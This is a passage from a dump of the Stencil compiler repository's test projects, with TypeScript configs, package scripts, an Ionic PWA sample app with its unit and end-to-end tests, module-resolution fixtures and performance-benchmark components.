    "content": "{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"lib\": [\n      \"dom\",\n      \"es2017\"\n    ],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"target\": \"es2017\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\"../../internal\"],\n      \"@stencil/core/internal\": [\"../../internal\"],\n      \"hello-world-text\": [\"src/hello-world-text.ts\"]\n    }\n  },\n  \"include\": [\n    \"src\"\n  ]\n}\n"
  },
  {
    "path": "test/ionic-app/.gitignore",
    "content": "dist/\n!www/favicon.ico\nwww/\n\n*~\n*.sw[mnpcod]\n*.log\n*.lock\n*.tmp\n*.tmp.*\nlog.txt\n*.sublime-project\n*.sublime-workspace\n\n.stencil/\n.idea/\n.vscode/\n.sass-cache/\n.versions/\nnode_modules/\n$RECYCLE.BIN/\n\n.DS_Store\nThumbs.db\nUserInterfaceState.xcuserstate\n.env\n"
  },
  {
    "path": "test/ionic-app/.npmrc",
    "content": "package-lock=true\n"
  },
  {
    "path": "test/ionic-app/package.json",
    "content": "{\n  \"name\": \"ionic-app\",\n  \"private\": true,\n  \"version\": \"1.0.0\",\n  \"description\": \"ionic-app\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"dist/\"\n  ],\n  \"scripts\": {\n    \"build\": \"node ../../bin/stencil build --debug\",\n    \"build.dev\": \"node ../../bin/stencil build --dev\",\n    \"start\": \"node ../../bin/stencil build --dev --watch --serve\",\n    \"test\": \"node ../../bin/stencil test --spec --e2e\",\n    \"test.watch\": \"node ../../bin/stencil test --spec --e2e --watch\",\n    \"generate\": \"node ../../bin/stencil generate\"\n  },\n  \"dependencies\": {\n    \"@ionic/core\": \"^6.0.10\"\n  }\n}\n"
  },
  {
    "path": "test/ionic-app/src/components/app-home/app-home.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('app-home', () => {\n  it('renders', async () => {\n    const page = await newE2EPage({ html: '<app-home></app-home>' });\n\n    const element = await page.find('app-home');\n    expect(element).toHaveClass('hydrated');\n  });\n\n  it('contains a \"Profile Page\" button', async () => {\n    const page = await newE2EPage({ html: '<app-home></app-home>' });\n\n    const element = await page.find('app-home ion-content ion-button');\n    expect(element.textContent).toEqual('Profile page');\n  });\n});\n"
  },
  {
    "path": "test/ionic-app/src/components/app-home/app-home.spec.ts",
    "content": "import { AppHome } from './app-home';\n\ndescribe('app-home', () => {\n  it('builds', () => {\n    expect(new AppHome()).toBeTruthy();\n  });\n});\n"
  },
  {
    "path": "test/ionic-app/src/components/app-home/app-home.tsx",
    "content": "import { Component, Host, h } from '@stencil/core';\n\n@Component({\n  tag: 'app-home',\n})\nexport class AppHome {\n  render() {\n    return (\n      <Host>\n        <ion-header>\n          <ion-toolbar color=\"primary\">\n            <ion-buttons slot=\"start\">\n              <ion-menu-button />\n            </ion-buttons>\n            <ion-title>Home</ion-title>\n          </ion-toolbar>\n        </ion-header>\n\n        <ion-content class=\"ion-padding\">\n          <p>\n            Welcome to the PWA Toolkit. You can use this starter to build entire apps with web components using Stencil\n            and ionic/core! Check out the README for everything that comes in this starter out of the box and check out\n            our docs on <a href=\"https://stenciljs.com\">stenciljs.com</a> to get started.\n          </p>\n\n          <ion-button href=\"/profile/ionic\" expand=\"block\">\n            Profile page\n          </ion-button>\n        </ion-content>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/ionic-app/src/components/app-profile/app-profile.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('app-profile', () => {\n  it('renders', async () => {\n    const page = await newE2EPage({ html: '<app-profile></app-profile>' });\n\n    const element = await page.find('app-profile');\n    expect(element).toHaveClass('hydrated');\n  });\n\n  it('displays the specified name', async () => {\n    const page = await newE2EPage({ url: '/profile/joseph' });\n\n    const element = await page.find('app-profile ion-content p');\n    expect(element.textContent).toContain('My name is Joseph.');\n  });\n});\n"
  },
  {
    "path": "test/ionic-app/src/components/app-profile/app-profile.spec.ts",
    "content": "import { AppProfile } from './app-profile';\n\ndescribe('app-profile', () => {\n  it('builds', () => {\n    expect(new AppProfile()).toBeTruthy();\n  });\n\n  describe('normalization', () => {\n    it('returns a blank string if the name is undefined', () => {\n      const component = new AppProfile();\n      expect(component.formattedName()).toEqual('');\n    });\n\n    it('capitalizes the first letter', () => {\n      const component = new AppProfile();\n      component.name = 'quincy';\n      expect(component.formattedName()).toEqual('Quincy');\n    });\n\n    it('lower-cases the following letters', () => {\n      const component = new AppProfile();\n      component.name = 'JOSEPH';\n      expect(component.formattedName()).toEqual('Joseph');\n    });\n\n    it('handles single letter names', () => {\n      const component = new AppProfile();\n      component.name = 'q';\n      expect(component.formattedName()).toEqual('Q');\n    });\n  });\n});\n"
  },
  {
    "path": "test/ionic-app/src/components/app-profile/app-profile.tsx",
    "content": "import { Component, Host, Prop, State, h } from '@stencil/core';\nimport { sayHello } from '../../helpers/utils';\n\n@Component({\n  tag: 'app-profile',\n})\nexport class AppProfile {\n  @State() state = false;\n  @Prop() name: string;\n\n  formattedName(): string {\n    if (this.name) {\n      return this.name.slice(0, 1).toUpperCase() + this.name.slice(1).toLowerCase();\n    }\n    return '';\n  }\n\n  render() {\n    return (\n      <Host>\n        <ion-header>\n          <ion-toolbar color=\"primary\">\n            <ion-buttons slot=\"start\">\n              <ion-back-button defaultHref=\"/\" />\n            </ion-buttons>\n            <ion-title>Profile: {this.name}</ion-title>\n          </ion-toolbar>\n        </ion-header>\n\n        <ion-content class=\"ion-padding\">\n          <p>\n            {sayHello()}! My name is {this.formattedName()}. My name was passed in through a route param!\n          </p>\n\n          <ion-item>\n            <ion-label>Setting ({this.state.toString()})</ion-label>\n            <ion-toggle checked={this.state} onIonChange={(ev) => (this.state = ev.detail.checked)} />\n          </ion-item>\n        </ion-content>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/ionic-app/src/components/app-root/app-root.css",
    "content": ""
  },
  {
    "path": "test/ionic-app/src/components/app-root/app-root.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('app-root', () => {\n  it('renders', async () => {\n    const page = await newE2EPage({ url: '/' });\n\n    const element = await page.find('app-root');\n    expect(element).toHaveClass('hydrated');\n  });\n\n  it('renders an ion-app', async () => {\n    const page = await newE2EPage({ url: '/' });\n\n    const element = await page.find('app-root > ion-app');\n    expect(element).toHaveClass('hydrated');\n  });\n\n  it('renders the ion-split-pane as visible', async () => {\n    const page = await newE2EPage({ url: '/' });\n\n    const splitPane = await page.find('app-root > ion-app > ion-split-pane');\n    expect(splitPane).toHaveClass('split-pane-visible');\n\n    const menu = await splitPane.find('ion-menu');\n    expect(menu).toHaveClass('menu-pane-visible');\n\n    const menuButton = await page.find('ion-menu-button');\n    expect(menuButton).toHaveClass('menu-button-hidden');\n  });\n});\n"
  },
  {
    "path": "test/ionic-app/src/components/app-root/app-root.spec.ts",
    "content": "import { AppRoot } from './app-root';\n\ndescribe('app-root', () => {\n  it('builds', () => {\n    expect(new AppRoot()).toBeTruthy();\n  });\n});\n"
  },
  {
    "path": "test/ionic-app/src/components/app-root/app-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'app-root',\n  styleUrl: 'app-root.css',\n})\nexport class AppRoot {\n  render() {\n    return (\n      <ion-app>\n        <ion-router useHash={false}>\n          <ion-route url=\"/\" component=\"app-home\" />\n          <ion-route url=\"/profile/:name\" component=\"app-profile\" />\n        </ion-router>\n\n        <ion-split-pane contentId=\"main\" when=\"sm\">\n          <ion-menu contentId=\"main\">\n            <ion-header>\n              <ion-toolbar color=\"primary\">\n                <ion-title>Ionic PWA</ion-title>\n              </ion-toolbar>\n            </ion-header>\n            <ion-content>\n              <ion-list>\n                <ion-list-header>\n                  <ion-label>Navigation</ion-label>\n                </ion-list-header>\n                <ion-menu-toggle autoHide={false}>\n                  <ion-item href=\"/\">\n                    <ion-icon slot=\"start\" name=\"home\" />\n                    <ion-label>Home</ion-label>\n                  </ion-item>\n                </ion-menu-toggle>\n                <ion-menu-toggle autoHide={false}>\n                  <ion-item href=\"/profile/ionic\">\n                    <ion-icon slot=\"start\" name=\"person\" />\n                    <ion-label>Ionic's Profile</ion-label>\n                  </ion-item>\n                </ion-menu-toggle>\n              </ion-list>\n            </ion-content>\n          </ion-menu>\n\n          <ion-nav id=\"main\" />\n        </ion-split-pane>\n      </ion-app>\n    );\n  }\n}\n"
  },
  {
    "path": "test/ionic-app/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface AppHome {\n    }\n    interface AppProfile {\n        \"name\": string;\n    }\n    interface AppRoot {\n    }\n}\ndeclare global {\n    interface HTMLAppHomeElement extends Components.AppHome, HTMLStencilElement {\n    }\n    var HTMLAppHomeElement: {\n        prototype: HTMLAppHomeElement;\n        new (): HTMLAppHomeElement;\n    };\n    interface HTMLAppProfileElement extends Components.AppProfile, HTMLStencilElement {\n    }\n    var HTMLAppProfileElement: {\n        prototype: HTMLAppProfileElement;\n        new (): HTMLAppProfileElement;\n    };\n    interface HTMLAppRootElement extends Components.AppRoot, HTMLStencilElement {\n    }\n    var HTMLAppRootElement: {\n        prototype: HTMLAppRootElement;\n        new (): HTMLAppRootElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"app-home\": HTMLAppHomeElement;\n        \"app-profile\": HTMLAppProfileElement;\n        \"app-root\": HTMLAppRootElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface AppHome {\n    }\n    interface AppProfile {\n        \"name\"?: string;\n    }\n    interface AppRoot {\n    }\n\n    interface AppProfileAttributes {\n        \"name\": string;\n    }\n\n    interface IntrinsicElements {\n        \"app-home\": AppHome;\n        \"app-profile\": Omit<AppProfile, keyof AppProfileAttributes> & { [K in keyof AppProfile & keyof AppProfileAttributes]?: AppProfile[K] } & { [K in keyof AppProfile & keyof AppProfileAttributes as `attr:${K}`]?: AppProfileAttributes[K] } & { [K in keyof AppProfile & keyof AppProfileAttributes as `prop:${K}`]?: AppProfile[K] };\n        \"app-root\": AppRoot;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"app-home\": LocalJSX.IntrinsicElements[\"app-home\"] & JSXBase.HTMLAttributes<HTMLAppHomeElement>;\n            \"app-profile\": LocalJSX.IntrinsicElements[\"app-profile\"] & JSXBase.HTMLAttributes<HTMLAppProfileElement>;\n            \"app-root\": LocalJSX.IntrinsicElements[\"app-root\"] & JSXBase.HTMLAttributes<HTMLAppRootElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/ionic-app/src/global/app.css",
    "content": "/* Document Level Styles */\n\n/*\n  The imports below are needed to include our light dom css for global styles such as fonts and colors.\n  You can comment out any of these imports if you do not need that css. For example, if you have your own\n  global font family css then you can comment out the typography.css import.\n*/\n\n/** Core CSS required for ionic components to work property */\n@import \"~@ionic/core/css/core.css\";\n\n/** Basic CSS for apps built with Ionic */\n@import \"~@ionic/core/css/normalize.css\";\n@import \"~@ionic/core/css/structure.css\";\n@import \"~@ionic/core/css/typography.css\";\n\n/** Optional CSS utils that can be commented out */\n@import \"~@ionic/core/css/padding.css\";\n@import \"~@ionic/core/css/float-elements.css\";\n@import \"~@ionic/core/css/text-alignment.css\";\n@import \"~@ionic/core/css/text-transformation.css\";\n@import \"~@ionic/core/css/flex-utils.css\";\n\n/*\n  The CSS Variables below can be used to theme your app.\n  For more info on CSS variables check out:\n  https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_variables\n\n  More info about color theming using Ionic:\n  https://ionicframework.com/docs/theming/color-generator\n*/\n"
  },
  {
    "path": "test/ionic-app/src/global/app.ts",
    "content": "import '@ionic/core';\n// import { setupConfig } from '@ionic/core';\n\nexport default () => {\n  // setupConfig({\n  //   mode: 'ios'\n  // });\n};\n"
  },
  {
    "path": "test/ionic-app/src/helpers/utils.ts",
    "content": "export const sayHello = () => (Math.random() < 0.5 ? 'Hello' : 'Hola');\n"
  },
  {
    "path": "test/ionic-app/src/index.html",
    "content": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en\">\n\n<head>\n  <meta charset=\"utf-8\">\n  <title>PWA Toolkit</title>\n\n  <meta name=\"viewport\" content=\"viewport-fit=cover, width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n  <meta name=\"description\" content=\"Welcome to the Ionic PWA Toolkit. You can use this starter to build fast PWAs using Ionic and Stencil!\">\n  <meta name=\"theme-color\" content=\"#16161d\">\n\n  <meta name=\"format-detection\" content=\"telephone=no\">\n  <meta name=\"msapplication-tap-highlight\" content=\"no\">\n\n  <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n  <meta name=\"apple-mobile-web-app-title\" content=\"Ionic PWA\">\n  <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n\n  <meta http-equiv=\"x-ua-compatible\" content=\"IE=Edge\">\n\n  <script type=\"module\" src=\"/build/app.esm.js\"></script>\n  <script nomodule src=\"/build/app.js\"></script>\n\n  <link href=\"/build/app.css\" rel=\"stylesheet\">\n  <link rel=\"apple-touch-icon\" sizes=\"180x180\" href=\"/assets/icon/apple-touch-icon.png\">\n  <link rel=\"icon\" type=\"image/x-icon\" href=\"/assets/icon/favicon.ico\">\n  <link rel=\"manifest\" href=\"/manifest.json\">\n</head>\n\n<body>\n\n  <app-root></app-root>\n\n</body>\n\n</html>\n"
  },
  {
    "path": "test/ionic-app/src/manifest.json",
    "content": "{\n  \"name\": \"ionic-app\",\n  \"short_name\": \"ionic-app\",\n  \"start_url\": \"/\",\n  \"display\": \"standalone\",\n  \"icons\": [{\n    \"src\": \"assets/icon/icon192.png\",\n    \"sizes\": \"192x192\",\n    \"type\": \"image/png\"\n  },{\n    \"src\": \"assets/icon/icon512.png\",\n    \"sizes\": \"512x512\",\n    \"type\": \"image/png\"\n  }],\n  \"background_color\": \"#488aff\",\n  \"theme_color\": \"#488aff\"\n}"
  },
  {
    "path": "test/ionic-app/stencil.config.ts",
    "content": "import { Config } from '../../internal';\n\n// https://stenciljs.com/docs/config\n\nexport const config: Config = {\n  outputTargets: [{ type: 'www', serviceWorker: null }],\n  globalScript: 'src/global/app.ts',\n  globalStyle: 'src/global/app.css',\n  hashFileNames: false,\n};\n"
  },
  {
    "path": "test/ionic-app/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": false,\n    \"experimentalDecorators\": true,\n    \"lib\": [\"dom\", \"es2017\"],\n    \"moduleResolution\": \"node\",\n    \"module\": \"esnext\",\n    \"target\": \"es2017\",\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\"../../internal\"],\n      \"@stencil/core/internal\": [\"../../internal\"],\n      \"@stencil/core/testing\": [\"../../testing\"],\n      \"@stencil/core/mock-doc\": [\n        \"../../mock-doc\"\n      ]\n    },\n    \"skipLibCheck\": true\n  },\n  \"include\": [\"src\"]\n}\n"
  },
  {
    "path": "test/jest-spec-runner/package.json",
    "content": "{\n  \"name\": \"@stencil/jest-spec-runner\",\n  \"private\": true,\n  \"scripts\": {\n    \"build\": \"node ../../bin/stencil build\",\n    \"test\": \"node ../../bin/stencil test --spec\"\n  }\n}\n"
  },
  {
    "path": "test/jest-spec-runner/src/components/mixed/mixed.spec.ts",
    "content": "import { newSpecPage } from '@stencil/core/testing';\nimport { MyMixed } from './mixed';\n\ndescribe('my-mixed', () => {\n  it('renders', async () => {\n    const page = await newSpecPage({\n      components: [MyMixed],\n      html: '<my-mixed></my-mixed>',\n    });\n    expect(page.root).toEqualHtml(`\n      <my-mixed>\n        <span id=\"esm\">\n          deep esm!deep ts!\n        </span>\n        <span id=\"cjs\">\n          deep cjs!deep ts!\n        </span>\n        <span id=\"ts\">\n          deep esm!deep ts!\n        </span>\n      </my-mixed>\n    `);\n  });\n});\n"
  },
  {
    "path": "test/jest-spec-runner/src/components/mixed/mixed.tsx",
    "content": "// @ts-nocheck\nimport { Component, Host, h } from '@stencil/core';\nimport deepEsm from '../utils/as-js-esm';\nimport deepCjs from '../utils/as-js-cjs';\nimport deepTs from '../utils/as-ts';\n\n@Component({\n  tag: 'my-mixed',\n  shadow: false,\n})\nexport class MyMixed {\n  render() {\n    return (\n      <Host>\n        <span id=\"esm\">{deepEsm()}</span>\n        <span id=\"cjs\">{deepCjs()}</span>\n        <span id=\"ts\">{deepTs()}</span>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/jest-spec-runner/src/components/simple/simple.spec.ts",
    "content": "import { newSpecPage } from '@stencil/core/testing';\nimport { MySimple } from './simple';\n\ndescribe('my-simple', () => {\n  it('renders', async () => {\n    const page = await newSpecPage({\n      components: [MySimple],\n      html: '<my-simple></my-simple>',\n    });\n    expect(page.root).toEqualHtml(`\n      <my-simple>\n        <span>\n          simple!\n        </span>\n      </my-simple>\n    `);\n  });\n});\n"
  },
  {
    "path": "test/jest-spec-runner/src/components/simple/simple.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'my-simple',\n  shadow: false,\n})\nexport class MySimple {\n  render() {\n    return <span>simple!</span>;\n  }\n}\n"
  },
  {
    "path": "test/jest-spec-runner/src/components/utils/as-js-cjs.js",
    "content": "const { deep: js } = require('./deep-js-cjs');\nconst { deep: ts } = require('./deep-ts');\n\nexport default () => [js, ts];\n"
  },
  {
    "path": "test/jest-spec-runner/src/components/utils/as-js-esm.js",
    "content": "import { deep as js } from './deep-js-esm';\nimport { deep as ts } from './deep-ts';\n\nexport default () => [js, ts];\n"
  },
  {
    "path": "test/jest-spec-runner/src/components/utils/as-mjs.mjs",
    "content": "import { deep as js } from './deep-js-esm';\nimport { deep as ts } from './deep-ts';\nimport { deep as mjs } from './deep-mjs';\n\nexport default () => [js, ts, mjs];\n"
  },
  {
    "path": "test/jest-spec-runner/src/components/utils/as-ts.ts",
    "content": "import { deep as js } from './deep-js-esm';\nimport { deep as ts } from './deep-ts';\n\nexport default () => [js, ts];\n"
  },
  {
    "path": "test/jest-spec-runner/src/components/utils/deep-js-cjs.js",
    "content": "const deep = 'deep cjs!';\n\nexports.deep = deep;\n"
  },
  {
    "path": "test/jest-spec-runner/src/components/utils/deep-js-esm.js",
    "content": "const deep = 'deep esm!';\n\nexport { deep };\n"
  },
  {
    "path": "test/jest-spec-runner/src/components/utils/deep-mjs.mjs",
    "content": "const deep = 'deep mjs!';\n\nexport { deep };\n"
  },
  {
    "path": "test/jest-spec-runner/src/components/utils/deep-ts.ts",
    "content": "const deep = 'deep ts!';\n\nexport { deep };\n"
  },
  {
    "path": "test/jest-spec-runner/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface MyMixed {\n    }\n    interface MySimple {\n    }\n}\ndeclare global {\n    interface HTMLMyMixedElement extends Components.MyMixed, HTMLStencilElement {\n    }\n    var HTMLMyMixedElement: {\n        prototype: HTMLMyMixedElement;\n        new (): HTMLMyMixedElement;\n    };\n    interface HTMLMySimpleElement extends Components.MySimple, HTMLStencilElement {\n    }\n    var HTMLMySimpleElement: {\n        prototype: HTMLMySimpleElement;\n        new (): HTMLMySimpleElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"my-mixed\": HTMLMyMixedElement;\n        \"my-simple\": HTMLMySimpleElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface MyMixed {\n    }\n    interface MySimple {\n    }\n    interface IntrinsicElements {\n        \"my-mixed\": MyMixed;\n        \"my-simple\": MySimple;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"my-mixed\": LocalJSX.MyMixed & JSXBase.HTMLAttributes<HTMLMyMixedElement>;\n            \"my-simple\": LocalJSX.MySimple & JSXBase.HTMLAttributes<HTMLMySimpleElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/jest-spec-runner/stencil.config.ts",
    "content": "import { Config } from '../../internal';\n\nexport const config: Config = {\n  outputTargets: [\n    {\n      type: 'dist-custom-elements',\n    },\n  ],\n  hashFileNames: false,\n  hydratedFlag: null,\n  extras: {\n    scriptDataOpts: false,\n  },\n};\n"
  },
  {
    "path": "test/jest-spec-runner/tsconfig.json",
    "content": "// hey! comments in my tsconfig!!\n{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"lib\": [\"dom\", \"es2017\"],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    // turning this off to see what happens when people are more lax.\n    \"noImplicitAny\": false,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"pretty\": true,\n    \"target\": \"es2017\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\"../../internal\"],\n      \"@stencil/core/internal\": [\"../../internal\"],\n      \"@stencil/core/testing\": [\"../../testing\"]\n    }\n  },\n  \"include\": [\"src\"]\n}\n"
  },
  {
    "path": "test/package.json",
    "content": "{\n  \"name\": \"stencil-test\",\n  \"private\": true,\n  \"scripts\": {\n    \"TODO-STENCIL-389\": \"echo Remove the exit call below\",\n    \"analysis\": \"node ./.scripts/analysis.js\",\n    \"analysis.build-and-analyze\": \"npm run build && npm run analysis\",\n    \"build\": \"npm run build.browser-compile && npm run build.hello-world && npm run build.hello-vdom && npm run build.todo && npm run build.end-to-end && npm run build.ionic\",\n    \"bundlers\": \"cd ./bundler && npm run start\",\n    \"build.browser-compile\": \"cd ./browser-compile && npm run build\",\n    \"build.bundle-size\": \"cd ./bundle-size && npm run build\",\n    \"build.end-to-end\": \"cd ./end-to-end && npm ci && npm run build\",\n    \"build.hello-world\": \"cd ./hello-world && npm run build\",\n    \"build.hello-vdom\": \"cd ./hello-vdom && npm run build\",\n    \"build.ionic\": \"cd ./ionic-app && npm ci && cp ../../internal/stencil-public-runtime.d.ts ./node_modules/@ionic/core/dist/types/ && npm run build\",\n    \"build.todo\": \"cd ./todo-app && npm ci && npm run build\",\n    \"build.docs-json\": \"cd ./docs-json && npm ci && npm run build\",\n    \"build.docs-readme\": \"cd ./docs-readme && npm ci && npm run build\"\n  },\n  \"devDependencies\": {\n    \"brotli\": \"^1.3.2\"\n  }\n}\n"
  },
  {
    "path": "test/performance/.npmrc",
    "content": "package-lock=false"
  },
  {
    "path": "test/performance/package.json",
    "content": "{\n  \"name\": \"stencil-test-performance\",\n  \"private\": true,\n  \"scripts\": {\n    \"build\": \"node ../../bin/stencil build\",\n    \"start\": \"node ../../bin/stencil build --watch --serve\",\n    \"start.prod\": \"node ../../bin/stencil build --watch --serve\"\n  },\n  \"collection\": \"dist/collection/collection-manifest.json\",\n  \"types\": \"dist/types/components.d.ts\",\n  \"main\": \"dist/index.cjs.js\",\n  \"module\": \"dist/index.js\",\n  \"devDependencies\": {\n    \"workbox-build\": \"4.3.1\"\n  }\n}"
  },
  {
    "path": "test/performance/prerender.config.js",
    "content": "module.exports = {\n  beforeHydrate(doc, url) {\n    doc.documentElement.setAttribute('dir', 'ltr');\n  },\n\n  afterHydrate(doc, url) {\n    doc.title = `Url: ${url.href}`;\n  },\n\n  filterUrl() {\n    return true;\n  },\n\n  hydrateOptions() {\n    const hydrate = {\n      prettyHtml: true,\n    };\n    return hydrate;\n  },\n};\n"
  },
  {
    "path": "test/performance/prerender.js",
    "content": "const fs = require('fs');\nconst path = require('path');\nconst hydrate = require('./dist/hydrate');\n\nasync function run() {\n  const html = `\n    <html>\n      <hello-world></hello-world>\n    </html>\n  `;\n\n  const results = await hydrate.renderToString(html, {\n    prettyHtml: true,\n    title: 'Hello World',\n  });\n\n  const filePath = path.join(__dirname, 'www', 'index.html');\n  fs.writeFileSync(filePath, results.html);\n}\nrun();\n"
  },
  {
    "path": "test/performance/src/components/my-app.tsx",
    "content": "import { Component, Host, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'my-app',\n  shadow: true,\n})\nexport class MyApp {\n  @Prop() offset = 0;\n  render() {\n    return (\n      <Host class=\"my-app\">\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n        <my-list offset={this.offset}></my-list>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/performance/src/components/my-item.tsx",
    "content": "import { Component, Host, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'my-item',\n  shadow: true,\n})\nexport class MyItem {\n  @Prop() index = 0;\n\n  render() {\n    return (\n      <Host\n        role=\"item\"\n        class={{\n          [`item-class-one-${this.index}`]: true,\n          [`item-class-two-${this.index}`]: true,\n          [`item-class-three-${this.index}`]: true,\n          [`item-class-four-${this.index}`]: true,\n          [`item-class-five-${this.index}`]: true,\n          [`item-class-six-${this.index}`]: true,\n          [`item-class-seven-${this.index}`]: true,\n        }}\n      >\n        [Start{this.index}]\n        <div data-index={this.index}>\n          <slot></slot>\n        </div>\n        [End{this.index}] Hello World\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/performance/src/components/my-list.tsx",
    "content": "import { Component, Host, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'my-list',\n  shadow: true,\n})\nexport class MyList {\n  @Prop() offset = 0;\n  onClick = () => {\n    console.log('click');\n  };\n  render() {\n    const items = Array.from({ length: 50 }, (_, i) => i);\n    return (\n      <Host\n        class={{\n          'class-one': true,\n          'class-two': true,\n          'class-three': true,\n          'class-four': true,\n          'class-five': true,\n          'class-six': true,\n          'class-seven': true,\n        }}\n      >\n        Hello World\n        <div role=\"dialog\" onClick={this.onClick}>\n          <ul>\n            {items.map((i) => (\n              <my-item\n                index={i + this.offset}\n                class={{\n                  [`class-index-${i}`]: true,\n                }}\n              >\n                <span>\n                  <button type=\"button\">Button index {this.offset + i}</button>\n                </span>\n              </my-item>\n            ))}\n          </ul>\n        </div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/performance/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface MyApp {\n        \"offset\": number;\n    }\n    interface MyItem {\n        \"index\": number;\n    }\n    interface MyList {\n        \"offset\": number;\n    }\n}\ndeclare global {\n    interface HTMLMyAppElement extends Components.MyApp, HTMLStencilElement {\n    }\n    var HTMLMyAppElement: {\n        prototype: HTMLMyAppElement;\n        new (): HTMLMyAppElement;\n    };\n    interface HTMLMyItemElement extends Components.MyItem, HTMLStencilElement {\n    }\n    var HTMLMyItemElement: {\n        prototype: HTMLMyItemElement;\n        new (): HTMLMyItemElement;\n    };\n    interface HTMLMyListElement extends Components.MyList, HTMLStencilElement {\n    }\n    var HTMLMyListElement: 